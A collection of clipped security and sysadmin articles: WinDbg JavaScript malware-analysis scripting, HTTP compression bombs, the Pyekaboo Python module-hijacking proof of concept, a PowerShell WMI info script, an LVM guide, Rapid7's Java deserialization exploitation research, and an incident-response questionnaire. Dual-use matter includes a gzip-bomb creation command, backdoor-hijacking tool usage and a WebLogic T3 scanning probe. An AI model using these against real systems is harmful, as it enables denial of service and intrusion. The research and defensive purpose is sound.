return lower or upper 32 bits of a 64-bit integer. This allows us to apply the
And mask we need and get back the required 64-bit value by shifting the higher
32-bit value to the left by 32 and adding the lower 32 bits to it.  
  
The 53-bit limitation for WinDbg JavaScript implementation is an annoyance and
it would be very welcome if WinDbg team could find a way to overcome it and
support 64 bit numbers without resorting to the special JavaScript class.  
  

####  Linq in JavaScript

We have already seen how Linq queries can be used to access a subset of
debugger data model objects and their members using the dx commands.  
  
However, their syntax in JavaScript is slightly different and it requires the
user to supply either an expression that returns a required data type or
supply an anonymous function as an argument to a Linq verb function call
returning the required data type. For example, for the "Where" Linq clause,
the returned value has to be a boolean type. For the "Select" clause, we need
to supply a member of an object we would like to select or a new anonymous
object composed of a subset of the queried object members.  
  
Here is a simple example using Linq functions filtering a list of modules to
display only those modules whose name contains the string "dll" and selects
only the module name and its base address to display.  
  

[code]

    function ListProcessModules(){
    
    //An example on how to use LINQ queries in JavaScript
    //Instead of a Lambda expression supply a function which returns a boolean for Where clause or
    
    let mods=host.currentProcess.Modules.Where(function (k) {return k.Name.includes("dll")})
    
    //a new object with selected members of an object we are looking at (in this case a Module)
    
    .Select(function (k) {return  { name: k.Name, adder:k.BaseAddress} });
    
        for (var lk of mods) {
    
          logme(lk.name+" at "+lk.adder.toString(16));
    
        }
    
    }
    
    
[/code]

  

####  Inspecting operating system structures

A good starting point for getting the kernel functions and structures
addresses is the function host.getModuleSymbolAddress.If we need the actual
value stored in the retrieved symbol, we need to dereference the address using
host.memory.readMemoryValues function or the dereference function for a single
value.

  
Here is an example enumerating callbacks registered using the documented
PspCreateProcessNotifyRoutine kernel function that registers driver functions
which will be notified every time a process is created or terminated. This is
also used by kernel mode malware, for hiding processes or for preventing user
mode modules of the malware from termination.  
  
The example in the post is inspired by the C code for enumerating callbacks
implemented in the SwishDbgExt extension developed by Matthieu Suiche. This
WinDbg extension is very useful for analysing systems infected by kernel mode
malware, as well as kernel memory dumps.  
  
The code shows that even more complex functions can be relatively easily
implemented using JavaScript. In fact, development using JavaScript is ideal
for malware researchers as writing code, testing and analysis can be all be
performed in parallel using the WinDbg Preview IDE.  
  

[code]

    function ListProcessCreateCallbacks() {
    
    PspCreateNotifyRoutinePointer=host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutine");
    let PspCreateNotify=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer,1,8);
    let PspCallbackCount=host.memory.readMemoryValues(host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutineCount"),1,4);
    logme ("There are "+PspCallbackCount.toString()+" PspCreateProcessNotify callbacks");
    
    for (let i = 0; i<PspCallbackCount;i++){
    
        let CallbackRoutineBlock=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer.add(i * 8),1,8);
        let CallbackRoutineBlock64=host.Int64(CallbackRoutineBlock[0]);
        
        //A workaround seems to be required here to bitwise mask the lowest 4 bits,
        //Here we have:
        //Get lower 32 bits of the address we need to mask and mask it to get
        //lower 32 bits of the pointer to the _EX_CALLBACK_ROUTINE_BLOCK (undocumented structure known in ReactOS)
        
        let LowCallback=host.Int64(CallbackRoutineBlock64.getLowPart()).bitwiseAnd(0xfffffff0);
        
        //Get upper 32 bits of the address we need to mask and shift it left to create a 64 bit value
        let HighCallback=host.Int64(CallbackRoutineBlock64.getHighPart()).bitwiseShiftLeft(32);
    
        //Add the two values to get the address of the i-th _EX_CALLBACK_ROUTINE_BLOCK
        let ExBlock=HighCallback.add(LowCallback);
       
        //finally jump over the first member of the structure (quadword) to read the address of the callback
        let Callback=host.memory.readMemoryValues(ExBlock.add(8),1,8);
    
        //use the .printf trick to resolve the symbol and print the callback
        let rez=host.namespace.Debugger.Utility.Control.ExecuteCommand(".printf \"%y\n\", " + Callback.toString());
    
        //print the function name using the first line of the response of .printf command
        logme("Callback "+i+" at "+Callback.toString()+" is "+rez[0]);
      }
    }
    
[/code]

Here we see the manipulation of the 64-bit address mentioned above. We split a
64-bit value into upper and lower 32 bits and apply the bitmask separately to
avoid a 53-bit JavaScript integer overflow.  
  
Another interesting point is the use of the standard debugger command .printf
to do a reverse symbol resolution. Although the JavaScript function
host.getModuleSymbolAddress allows us to get the address of the required
symbol, as of writing this blog post there are no functions which allow us to
get the symbol name from an address. That is why the workaround .printf is
used with the %y format specifier which returns a string containing the name
of the specified symbol.  
  

####  Debugging the debugging scripts

Developers of scripts in any popular language know that for successful
development, the developer also requires a set of tools that will allow
debugging. The debugger needs to be able to set breakpoints and inspect values
of variables and objects. This is also required when we are writing scripts
that need to access various operating system structures or to analyse malware
samples. Once again, the WinDbg JavaScript extension delivers the required
functionality in the form of a debugging tool whose commands will be very
familiar to all regular WinDbg users.

  
The debugger is launched by executing the command .scriptdebug, which prepares
the JavaScript debugger for debugging a specific script. Once the debugger has
loaded the script, have an option to choose events which will cause the
debugger to stop as well as set breakpoints on specific lines of script code.  
  
The command sxe within the JavaScript debugger is used, just as in WinDbg, to
define after which events the debugger will break. For example, to break on
the first executed line of a script we simply type sxe en. Once the command
has successfully executed we can inspect the status of all available events by
using the command sx.  
  

<img src='img/6075_image1.png' width='640' height='82' />

Sx shows JavaScript debugger breaking status for various exceptions

  
Now, we also have an opportunity to specify the line of the script where the
breakpoint should be set using the command bp, just as in standard WinDbg
syntax. To set a breakpoint, the user needs to specify a line number together
with the position on the line, for example bp 77:0. If the specified line
position is 0, the debugger automatically sets the breakpoint on the first
possible position on the line which helps us to avoid counting the required
breakpoint positions.  
  
  

<img src='img/6072_image3.png' width='640' height='34' />

Setting a breakpoint on line position 0 sets it on the first possible position

  
Now that we have set up all the required breakpoints we have to exit the
debugger, which is a slightly unintuitive step. The debugging process
continues after calling the script either by accessing the WinDbg variable
@$scriptContents and calling any of the functions of the script we wish to
debug or by launching the script using .scriptrun as usual. Naturally, the
@$scriptContents variable is accessed using the dx command.  
  

<img src='img/6073_image6.png' width='640' height='100' />

Scripts can be launched for debugging using the @$scriptContents variable

  
The debugger contains its own JavaScript evaluator command ??, which allows us
to evaluate JavaScript expressions and inspect values of the script variables
and objects.  
  
  
  

<img src='img/6065_image2.png' width='640' height='82' />

Commands ? or ?? are used to inspect display result of JavaScript expressions
.

  
JavaScript debugging is a powerful tool required for proper development.
Although its function is already sufficient in early JavaScript extension
versions, we hope that its function will become richer and more stable over
time, as WinDbg Preview moves closer to its full release.  
  

###  Conclusion

We hope that this post provided you with few pointers to functionality useful
for malware analysis available through the official Microsoft JavaScript
WinDbg extension. Although the API exposed through JavaScript is not complete,
there are usually ways to work around the limitations by wrapping standard
WinDbg commands and parsing their output. This solution is not ideal and we
hope that new functionality will be added directly to the JavaScript provider
to make the scripting experience even more user friendly.  
  
The Debugging Tools for Windows development team seems to be committed to
adding new JavaScript modules as was recently demonstrated through the
addition of the file system interaction and the Code namespace module which
open a whole new set of possibilities for code analysis we may be able to
cover in one of our next posts. Interested readers are invited to check out
the CodeFlow JavaScript extension made available through the official examples
repository on Github.  
  
If you would like to learn a few more tips on malware analysis using WinDbg
and JavaScript Cisco Talos will be presenting a session at the CARO Workshop
in Copenhagen in May.  

###  References

  * dx command
  * MASM and C++ WinDbg evaluators
  * Linq and the debugger data model
  * Debugger data model for reversers
  * Debugging JavaScript in WinDbg
  * JavaScript debugger example scripts
  * WinDbg JavaScript scripting video
  * DX command video
  * Debugger object model video

  
  

Posted by  Vanja Svajcer at 12:29 PM

Labels: javascript, kernel mode, windbg, Windows

Share This Post

<img src='img/icon_fb-share_grey.svg' width='25' height='25' alt='Facebook
share' /> <img src='img/icon_tw-share_grey.svg' width='25' height='25'
alt='Twitter share' /> <img src='img/icon_re-share_grey.svg' width='25'
height='25' alt='Reddit share' /> <img src='img/icon_em-share_grey.svg'
width='25' height='25' alt='Email This' />

  

  *[12:29 PM]: 2019-02-18T12:29:00-05:00

# Cyberis Blog: Vulnerabilities that just won't die - Compression Bombs

**Created:**| _8/21/2013 9:20:52 AM_  
---|---  
**Updated:**| _8/21/2013 9:20:52 AM_  
**Author:**| __  
**Tags:**| _php browser oldskool_  
  

# **V** ulnerabilities that just won't die - Compression Bombs****

Recently Cyberis has reviewed a number of next-generation firewalls and
content inspection devices - a subset of the test cases we formed related to
compression bombs - specifically delivered over HTTP**.** The research
prompted us to take another look at how modern browsers handle such content
given that the vulnerability \(or perhaps more accurately, ‘common weakness’ -
http://cwe.mitre.org/data/definitions/409.html \) has been reported and well
known for over ten years**.** The results surprised us - in short, the
majority of web browsers are still vulnerable to compression bombs leading to
various denial-of-service conditions, including in some cases, _full
exhaustion of all available disk space with no user input**.**_

## Introduction to HTTP Compression****

HTTP compression is a capability widely supported by web browsers and other
HTTP User-Agents, allowing bandwidth and transmission speeds to be maximised
between client and server**.** Supporting clients will advertise supported
compression schemas, and if a mutually supported scheme can be negotiated, the
server will respond with a compressed HTTP response**.**

Compatible User-Agents will typically decompress encoded data on-the-fly**.**
HTML content, images and other files transmitted are usually handled in memory
\(allowing pages to rendered as quickly as possible\), whilst larger file
downloads will usually be decompressed straight to disk to prevent unnecessary
consumption of memory resources on the client**.**

Gzip \(RFC1952\) is considered the most widely supported compression schema in
use today, although the common weaknesses discussed in this post are
applicable to all schemas in use today**.**

## What is a Compression Bomb?

Quite simply, a compression bomb is compressed content that extracts to a size
much larger than the developer expected; in other words, incorrect handling of
highly compressed data**.** This can result in various denial-of-service
conditions, for example memory, CPU and free disk space exhaustion**.**

Using an entropy rate of zero \(for example, /dev/zero\), coupled with
multiple rounds of encoding that modern browsers support \(see our
ResponseCoder post \), a 43 Kilobyte HTTP server response will equate to a 1
Terabyte file when decompressed by a receiving client - an effective
compression ratio of 25,127,100:1**.**

It is trivial to make a gzip bomb on the Linux command line - see below for an
example of a 10MB file being compressed to just 159 bytes using two rounds of
gzip compression:

$ dd if=/dev/zero bs=10M count=1 | gzip -9 | gzip -9 | wc -c  
1+0 records in  
1+0 records out  
10485760 bytes \(10 MB\) copied, 0**.** 149518 s, 70.1 MB/s  
159

## Testing Framework****

Cyberis has released a testing framework, both for generic HTTP response
tampering and various sizes of gzip bombs**.** GzipBloat
\(https://www.github.com/cyberisltd/GzipBloat \) is a PHP script to deliver
pre-compressed gzipped content to a browser, specifying the correct HTTP
response headers for the number of encoding rounds used, and optionally a
‘Content-Disposition’ header**.** A more generic response tampering framework
- ResponseCoder \(https://www.github.com/cyberisltd/ResponseCoder \) - allows
more fine grained control, although content is currently compressed on the fly
- limiting its effectiveness when used to deliver HTTP compression bombs**.**
Both tools are designed to assist you in testing both intermediary devices
\(content inspection/next-generation firewalls etc**.**\) and browsers for
compression bomb vulnerabilities**.**

During our tests, we delivered compressed content in a variety of different
forms, both as ‘file downloads’ and in-line ‘HTML content’**.** The exact
tests we conducted and the results can be read in our more detailed paper on
this topic here **.**

## Is my Browser Vulnerable?

It is actually easier to name the browser that is not vulnerable - namely
Opera - all other major desktop browsers \(Internet Explorer, Firefox, Chrome,
Safari\) available today exhibited at least one denial-of-service condition
during our test**.**

The most serious condition observed was an effective denial-of-service against
Windows operating systems when a large gzip encoded file is returned with a
‘Content-Disposition’ header - no user interaction was required to exploit the
vulnerability, and recovery from the condition required knowledge of the
Temporary Internet Files directory structure and command line access**.** This
seemed to affect all recent versions of IE, including IE11 on Windows 8**.** 1
Preview.

Our results demonstrated that the most popular web browsers in use today are
vulnerable to various denial-of-service conditions - namely memory, CPU and
free disk space consumption - by failing to consider the high compression
ratios possible from data with an entropy rate of zero**.** Depending on the
HTTP response headers used, vulnerable browsers will either decompress the
content in memory, or directly to disk - only terminating when operating
system resources are exhausted**.**

## Conclusion****

With the growth of mobile data connectivity, improvements in data compression
for Internet communications has become highly desirable from a performance
perspective, but extensions to these techniques outside of original protocol
specifications can have unconsidered impacts for security**.**

Although compression bombs have been a known threat for a number of years, the
growing ubiquity of advanced content inspection devices, and the proliferation
User-Agents which handle compression mechanisms differently, has substantially
changed the landscape for these types of attack**.**

The attacks discussed here will provide an effective denial-of-service against
a number of popular client browsers, but the impact in these cases is rather
limited**.** Ultimately, the greater impact of this style of attack is likely
to be felt by intermediate content inspection devices with a large pool of
users**.** It is possible a number of advanced content inspection devices may
be susceptible to these decompression denial-of-service attacks themselves,
potentially as the result of a single server-client response**.** In an
environment with high availability requirements and a large pool of users, a
denial-of-service attack which could be launched by a single malicious
Internet server could have a devastating impact**.**

****

# SafeBreach-Labs/pyekaboo

**Created:**| _5/7/2017 10:12:32 AM_  
---|---  
**Updated:**| _5/7/2017 10:12:32 AM_  
**Author:**| __  
**Tags:**| _python_  
  

  

# Pyekaboo

Pyekaboo is a proof-of-concept program that is able to to hijack/hook/proxy
Python module\(s\) thanks to $PYTHONPATH variable. It's like "DLL Search Order
Hijacking" for Python.

It was released as part of the Backdooring Your Python Programs talk given at
THOTCON 0x8 conference by Itzik Kotler from SafeBreach Labs.

Slides are availble here

### Version

0.1.0

### Installation

Pyekaboo requires Python and was tested with Python 2.7.10.

[code]

    $ git clone https://github.com/SafeBreach-Labs/pyekaboo.git
    $ cd pyekaboo
    $ cd pyekaboo
    $ python mkpyekaboo.py -h
[/code]

### Example: Debugging Python's sockets Module

[code]

    # assume pyekaboo root directory
    $ cd scripts
    $ python ../pyekaboo/mkpyekaboo.py -l 6 socket
    $ ./enable_pyekaboo.sh -i
    $ python ../test_apps/django_test/blog/manage.py runserver
[/code]

## License

BSD 3-Clause

  

# Windows Vista APC Internals

**Created:**| _11/13/2010 4:24:40 PM_  
---|---  
**Updated:**| _11/13/2010 4:25:32 PM_  
**Author:**| __  
**Tags:**| _bookmark programming windows environment_  
  

Windows Vista APC Internals

By Enrico Martignetti

First edition, May 2009

#

Sample Code

  

PDF Version

  

Home

# Powershell PC Info Script \(WMI\) « HackYeah

**Created:**| _8/12/2010 4:56:40 PM_  
---|---  
**Updated:**| _8/12/2010 4:56:40 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# Powershell PC Info Script \(WMI\)

This tool will find a lot of information on remote computers using
Powershell’s Get-WmiObject cmdlet.

It can easily find:

  * PC Serial Number
  * PC Printer Info
  * Current User
  * OS Info
  * System Info
  * Add/Remove Program List
  * Process List
  * Service List
  * USB Devices
  * Uptime
  * Disk Space
  * Memory Info
  * Processor Info
  * Monitor Serial Numbers \(registry\)

  
Hopefully someone out there will find this useful.  If this won’t work for
your needs – it can at least give you a guide to Get-WmiObject with
Powershell.  I am planning on releasing a Get-WmiObject/wmic cheat sheet
sometime soon.

Code block | <img src='img/code.png' /> <img src='img/printer.png' /> <img src='img/info.gif' />   
---|---
[code]

    #########################################################
    #           Powershell PC Info Script V1.0b             #
    #              Coded By:Trenton Ivey(kno)               #
    #########################################################
     
    function Pause ($Message="Press any key to continue..."){
        ""
        Write-Host $Message
        $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
    }
     
    function GetCompName{
        $compname = Read-Host "Please enter a computer name or IP"
        CheckHost
    }
     
    function CheckHost{
        $ping = gwmi Win32_PingStatus -filter "Address='$compname'"
        if($ping.StatusCode -eq 0){$pcip=$ping.ProtocolAddress; GetMenu}
        else{Pause "Host $compname down...Press any key to continue"; GetCompName}
    }
    
[/code]

# How To Create Linux LVM In 3 Minutes

**Created:**| _2/6/2011 8:36:44 PM_  
---|---  
**Updated:**| _2/6/2011 8:36:52 PM_  
**Author:**| __  
**Tags:**| _Linux Lab-Setup_  
  

# How To Create Linux LVM In 3 Minutes

Copyright © Walker 02 Jul 2007 23:22

What’s LVM? Why using Linux Logical Volume Manager or LVM? Well, these
questions are not the scope here. But in brief, the most attractive feature of
Logical Volume Manager is to make disk management easier in Linux\!  
<img src='img/Temp2_4036.gif' width='500' height='12' />

<img src='img/Temp2_4038.gif' width='53' height='12' />

Basically, LVM allows users to dynamically extend or shrink Linux “partition”
or file system in online mode\! The **LVM can resize volume groups \(VG\)
online** by adding new physical volumes \(PV\) or rejecting those existing PVs
attached to VG.  
  
<img src='img/Temp2_4037.gif' alt='A visualized concept diagram of the Linux
Logical Volume Manager or LVM.' />  
A visualized concept diagram of the Linux Logical Volume Manager or LVM  
  
In this 3-minutes Linux LVM guide, let’s assume that  

  * The LVM is not currently configured or in used. Having say that, this is the LVM tutorial if you’re going to setup LVM from the ground up on a production Linux server with a new SATA / SCSI hard disk.  

  * Without a luxury server hardware, I tested this LVM tutorial on PC with the secondary hard disk dedicated for LVM setup. So, the Linux dev file of secondary IDE hard disk will be /dev/hdb \(or /dev/sdb for SCSI hard disk\).  

  * This guide is fully tested in Red Hat Enterprise Linux 4 with Logical Volume Manager 2 \(LVM2\) run-time environment \(LVM version 2.00.31 2004-12-12, Library version 1.00.19-ioctl 2004-07-03, Driver version 4.1.0\)\!

  
**How to setup Linux LVM in 3 minutes at command line?**  

  1. Login with root user ID and try to avoid using sudo command for simplicity reason.  

  2. Using the whole secondary hard disk for LVM partition:   
`fdisk /dev/hdb`  
  
At the Linux fdisk command prompt,  

    1. press `n` to create a new disk partition,
    2. press `p` to create a primary disk partition,
    3. press `1` to denote it as 1st disk partition,
    4. press **ENTER** twice to accept the default of 1st and last cylinder – to convert the whole secondary hard disk to a single disk partition,
    5. press `t` \(will automatically select the only partition – partition 1\) to change the default Linux partition type \(0×83\) to LVM partition type \(0x8e\),
    6. press `L` to list all the currently supported partition type,
    7. press `8e` \(as per the L listing\) to change partition 1 to 8e, i.e. Linux LVM partition type,
    8. press `p` to display the secondary hard disk partition setup. Please take note that the first partition is denoted as /dev/hdb1 in Linux,
    9. press `w` to write the partition table and exit fdisk upon completion.
  

  3. Next, this LVM command will create a LVM physical volume \(PV\) on a regular hard disk or partition:   
`pvcreate /dev/hdb1`  

  4. Now, another LVM command to create a LVM volume group \(VG\) called vg0 with a physical extent size \(PE size\) of 16MB:   
`vgcreate -s 16M vg0 /dev/hdb1`  
  
**Beproperly planning ahead of PE size before creating a volume group with
vgcreate -s option\!**  

  5. Create a 400MB logical volume \(LV\) called lvol0 on volume group vg0:   
`lvcreate -L 400M -n lvol0 vg0`  
  
This lvcreate command will create a softlink /dev/vg0/lvol0 point to a
correspondence block device file called /dev/mapper/vg0-lvol0.  

  6. The Linux LVM setup is almost done. Now is the time to format logical volume lvol0 to create a Red Hat Linux supported file system, i.e. EXT3 file system, with 1% reserved block count:   
`mkfs -t ext3 -m 1 -v /dev/vg0/lvol0`  

  7. Create a mount point before mounting the new EXT3 file system:   
`mkdir /mnt/vfs`  

  8. The last step of this LVM tutorial – mount the new EXT3 file system created on logical volume lvol0 of LVM to /mnt/vfs mount point:   
`mount -t ext3 /dev/vg0/lvol0 /mnt/vfs`

  
To confirm the LVM setup has been completed successfully, the `df -h` command
should display these similar message:  
  
_/dev/mapper/vg0-lvol0 388M 11M 374M 3% /mnt/vfs_  
  
**Some of the useful LVM commands reference:**  

`vgdisplay vg0`  

    To check or display volume group setting, such as physical size \(PE Size\), volume group name \(VG name\), maximum logical volumes \(Max LV\), maximum physical volume \(Max PV\), etc.  

`pvscan`  

    To check or list all physical volumes \(PV\) created for volume group \(VG\) in the current system.  

`vgextend`  

    To dynamically adding more physical volume \(PV\), i.e. through new hard disk or disk partition, to an existing volume group \(VG\) in online mode. You’ll have to manually execute `vgextend`after `pvcreate` command that create LVM physical volume \(PV\).
<img src='img/Temp2_4036.gif' width='500' height='12' />

<img src='img/Temp2_4038.gif' width='53' height='12' />

<img src='img/Temp2_4036.gif' width='500' height='12' />  

  * Maximum Size Of A Logical Volume In LVM
  * Extend LVM Disk Space With New Hard Disk
  * How To Create Volume Group And File System With LVM2 In Linux?
  * Create New Linux EXT3 File System In LVM
  * How To Tell Or Check Linux Current Active Runlevel?
  * Linux: Orphan Process vs Zombie or Defunct Process
  * How To Find And Kill Zombie Process On Linux System?

# \[Research\] Java Serialization Objects \(JSO\): An Exploitation Guide | Rapid7
**Created:**| _3/22/2019 8:03:02 AM_  
---|---  
**Updated:**| _3/22/2019 8:03:02 AM_  
**Author:**| __  
**Tags:**| _bookmark Java_  
  

  

# \[Research\] Java Serialization Objects \(JSO\): An Exploitation Guide

Although both the offensive and defensive exploit developer communities have
leveraged serialized objects for some time, many IT and IT security
practitioners may not be familiar with how serialized objects are used by
developers and abused by attackers. In this section, we will take a moment to
explore the pros and cons of serialization and how it’s used—and abused—in
modern networked applications.

## What Are JSOs?

JSOs allow Java services to communicate with one another without rigidly
defined structures. They provide a flexible way of exchanging data between
Java services, often using files or network connections. The sender includes
the structure and data types alongside the data \(therefore serializing the
object\), while the receiver converts the stream back to an object through a
process called deserialization. JSOs retain type information alongside the
data and are used to transport complex Java objects around without worrying
too much about what’s in them.

For example, one component of a Java application might build a “Customer”
object that includes elements such as a “firstname” string, a “lastname”
string, an integer amount of “money\_to\_spend,” and perhaps even a
StreetAddress-type object that includes a few integers and strings. If
components can just toss these “Customer” objects around to each other, the
interfaces don’t need to know or care about what’s actually in a “Customer.”
Instead, they’ll just serialize and deserialize these objects without regard
to their contents, trusting that the sender and receiver do the right thing.

## Abusing JSOs

Unfortunately, while the deserialization process might convert inbound object
blobs to something as benign as a few type-defined strings and integers, it
can just as easily produce a malicious function that launches an attacker-
controlled process if the code designers don’t go out of their way to check
the serialized object before acting on it. As it turns out, many receivers
can't proactively limit which objects will be accepted before they’re
deserialized and executed. This means attackers with the ability to build and
send their own custom JSOs to a waiting deserializing interface can often gain
unauthenticated remote code execution \(RCE\) on the receiver. Exacerbating
this problem is the fact that serialized object handling is often so baked
into products that modifying the way the internal components communicate is
non-trivial. This makes patching serialization bugs both difficult and costly,
since programmers have to pay back tech debt accrued by failing to consider
object types and contents when first designing the product interfaces.

To mitigate this threat vector, vendors often opt to implement targeted
blacklists that prevent the use of specific libraries leveraged to gain RCE
instead of undertaking the more comprehensive patching task of redesigning the
interface with malicious inputs in mind. In other words, when developers
blacklist a library, the vulnerable JSO communication is left intact, but the
library the exploit uses to gain RCE is blocked.

Once attackers identify another library with similar functionality, they can
quickly and trivially target the new library.

To speed up retooling, tools like Chris Frohoff’s ysoserial can build a JSO
using any number of libraries and wrapping a payload within one of several
dozen JSOs. These tools greatly simplify risk demonstration and JSO-related
vulnerability testing; their use also means that narrow, library-based
blacklisting mitigation techniques are ineffective against attackers with
access to public exploits and popular tooling.

## Increased Prevalence of JSO-Related Vulnerabilities

Java deserialization attacks aren't new, but attackers have increasingly
discovered how easy it is to develop these exploits. As Mark Reinhold, chief
architect of the Java Platform Group at Oracle, recently said, "We like to
call serialization the gift that keeps on giving. Right? And the type of gift
it keeps on giving are security vulnerabilities."

CWE-502 is the MITRE Common Weakness Enumeration identifier that tracks
vulnerabilities with deserialization of untrusted data \(in Java or any other
object-oriented language\). Over the past five years, we've seen a sharp
increase in deserialization-based CVEs, including those with CVSS scores
higher than 7.0:

Figure 1: CWE-502 \(Deserialization Vulnerabilities\) by Year Published

<img src='img/Temp2_10068.png' width='576' height='288' />

Many of these CVEs are found in enterprise products such as Oracle WebLogic,
IBM WebSphere, Cisco Secure Access Control System \(ACS\), HPE Intelligent
Management Center \(IMC\), and VMware's vSphere Integrated Containers. Given
the presence of a single JSO-related CVE in a particular product, researchers
and defenders can often expect that there will be more to come.

An attacker can gain unauthenticated RCE on a number of these products using a
variety of public exploits within the Metasploit Framework, including the
following:

### Internet Exposure

Given a recent increase in reported vulnerabilities involving Oracle's T3
protocol, we used Rapid7's Project Sonar framework to identify WebLogic
servers exposed to the public internet in January 2019.

WebLogic itself communicates using a variety of protocols beyond T3, but it is
different than many other products and services that speak only one protocol
on a given port. For example, the default configuration of modern WebLogic
instances provides a default endpoint, 7001/TCP, that speaks several different
protocols, including T3, HTTP, SNMP, and LDAP.

To understand more about how WebLogic is exposed on the public internet, we
first examined data collected as part of Sonar’s HTTP and HTTPS studies, which
run approximately weekly against several dozen ports. When we examined over
120 million HTTP response bodies for a string of text known to be elicited by
most WebLogic instances as part of its HTTP support, we saw 18,693 unique IPv4
addresses across 67 different TCP ports that appeared as WebLogic. Not
surprisingly, the most common ports where WebLogic was found were 7001
\(default\) and 80 \(HTTP\):

Figure 2: WebLogic Instances by Port

<img src='img/Temp2_10070.png' width='576' height='282' />

With the knowledge of which TCP ports on the public internet might be powered
by WebLogic—443, 80, 7001, 8001, and 8002—we then created a way to determine
whether a given endpoint speaks the T3 protocol and used this method to more
accurately understand the exposure of T3 on the five ports in question.

Our technique sends a 23-byte T3 negotiation message:

[code]

    t3 9.2.0.0\nAS:2048\nHL:19\n\n
[/code]

The string ‘t3’ starts the T3 protocol. ‘9.2.0.0’ is the advertised WebLogic
version of our client and is used by the server to determine compatibility.
The ‘AS’ and ‘HL’ parameters control the JVM message header size and
approximate table size, respectively, with values set according to observed
defaults.

Experimentation confirmed that T3 endpoints respond with a similar message
that describes the result of the T3 negotiation, falling into two groups:

  1. Confirmed T3 endpoints where T3 was successfully negotiated. From this, we can identify the version of WebLogic advertised by the server.
  2. Confirmed T3 endpoints where T3 was unsuccessfully negotiated because of connection filters or similar restrictions, or some type of misconfiguration such as licensing issues and WebLogic version incompatibility, among other likely scenarios.

Examining the responses from over 87 million unique IPv4 endpoints that
claimed to have one of these previously identified common WebLogic ports—80,
443, 7001, 8001, and 8002—we identified 11,831 systems that are confirmed to
be running WebLogic. This is 35% lower than our previous HTTP-based estimate.
There are several possible reasons for this discrepancy, such as general
internet-scale scanning fluctuation, or the possibility that these WebLogic
instances have been explicitly configured to only speak HTTP and not T3.
Further proof of this is that 1,183 systems responded negatively to our T3
probe, likely indicating that our connection to T3 was restricted for some
reason.

On port 7001/TCP, one of several default ports used by WebLogic, we observed
4,577 T3-speaking IPv4 addresses. Beyond the natural fluctuation that we
expected from scanning at scale like this, the lower HTTP-based estimate of
3,439 possibly indicates that there are WebLogic instances on 7001/TCP that
speak T3 but not HTTP.

Port 8001/TCP is a common alternative port used by WebLogic installations in
cases where the default of 7001/TCP is unavailable or a second instance is
needed. We observed 1,157 T3-speaking hosts on 8001/TCP. Port 8002, an even
less common alternative port for WebLogic, showed just over 300 WebLogic
systems.

On the default HTTP and HTTPS ports \(80 and 443\), we found 5,672 and 1,133
IPv4 endpoints, respectively, that were confirmed to speak the T3 protocol.

Inspecting the WebLogic versions advertised by confirmed T3 endpoints that we
successfully negotiated showed a wide variety of deployed versions, from
12.2.1.3 \(the most current version of WebLogic as of early 2019\) to 7.0.1.0
\(released in 2002\):

Figure 3: Discovered WebLogic Instances by Version

<img src='img/Temp2_10071.png' width='576' height='264' />

As part of all Sonar endpoint studies, we also noted at the time of
observation any additional relevant metadata about the IP, including the
organization that might “own” the IP and location details such as country and
city. Examining this metadata from confirmed T3 results revealed a couple of
takeaways:

  * More than 25% of the IPs exposing T3 are owned by Oracle, the company that provides WebLogic, and much of the rest are owned by various cloud providers.
  * More than 36% of the IPs exposing T3 are owned by organizations located in the United States, with another 32% of IPs located in China.

**Organization** |  **Count**  
---|---  
Oracle/Oracle Cloud |  2,982  
China Telecom |  1,677  
China Unicom |  867  
Alibaba/Cloud |  340  
Amazon/AWS |  264  
YHSRV |  252  
China Mobile |  204  
SumTotal Systems |  143  
Korea Telecom |  136  
CenturyLink |  123  
Tencent |  89  
Microsoft/Azure |  81  
LG |  79  
OVH/SAS |  69  
Tata |  55  
Respina Networks |  54  
HiNet |  42  
China Education and Research Network Center |  41  
Airtel |  38  
Stanford University |  36  
Figure 4: WebLogic Global T3 Distribution

<img src='img/cc5eadd1c6d84751aeb69608fff5e38d.aspx' width='576' height='416'
/>

**Country** |  **Count**  
---|---  
United States |  4279  
China |  3875  
Iran |  511  
South Korea |  307  
Germany |  241  
India |  236  
United Kingdom |  138  
Canada |  120  
France |  118  
Brazil |  115  
Mexico |  96  
Vietnam |  83  
Taiwan |  80  
Japan |  77  
Pakistan |  74  
Singapore |  74  
Saudi Arabia |  72  
Thailand |  71  
Costa Rica |  69  
Hong Kong SAR China |  67  
### Attacking JSO-Based Services

Exploitation can be as simple as using any one of a number of Metasploit
modules \(\#11136, \#11134, \#11131, and \#10436\) against a WebLogic server
that is remotely discoverable. It can also be a manual process that involves
navigating a web service while intercepting traffic and then targeting the
vulnerable service with tools like Burp Suite or ysoserial.

For example, an attacker who identifies a WebLogic server would be able to
trivially gain unauthenticated RCE via Metasploit:

<img src='img/Temp2_10072.png' width='576' height='148' />

A more subtle attack would involve navigating a website or using a Java
application while monitoring network traffic for the telltale signs of JSO-
based interactions. A simple search for traffic containing T3 headers \(or the
0xACED magic bytes\) can indicate the existence of services using JSOs to
communicate:\[1\]

Figure 5: Search for T3 Headers

<img src='img/Temp2_10069.png' width='576' height='228' />

Finally, anaggressive attacker might use any number of public tools to
actively scan services for JSO-based user inputs. For example, the
professional version of PortSwigger’s Burp Suite supports a Java
Deserialization Scanner extension that can actively identify and exploit JSO
vulnerabilities. Interestingly, the extension uses a modification of Wouter
Coekaerts’ SerialDOS technique to perform a library-agnostic vulnerability
check of a JSO-based service, identifying the inherent vulnerability even if
libraries have been blacklisted.

\[1\] _Of course, any random-ish set of binary data may also have the magic
0xACED bytes in there somewhere, so this is more of a useful \(but noisy\)
technique for application testers, and not so useful for network defenders
looking to filter JSOs. More context than a mere 2 bytes is needed for a
robust network filter._

Measure

Measure

# Lenny Zeltser - Initial Security Incident Questionnaire for Responders

**Created:**| _5/9/2009 10:38:50 AM_  
---|---  
**Updated:**| _5/9/2009 10:38:59 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Initial Security Incident Questionnaire for Responders

This cheat sheet offers tips for assisting incident handlers in assessing the
situation when responding to a qualified incident by asking the right
questions. To print, use the one-sheet PDF version; you can also edit the Word
version for you own needs.

If you are a system administrator looking to assess whether a suspicious
situation is, indeed, a security incident, see the related incident survey
cheat sheet. For DDoS incidents, a separate cheat sheet is available.

## Understand the Incident's Background

What is the nature of the problem, as it has been observed so far?

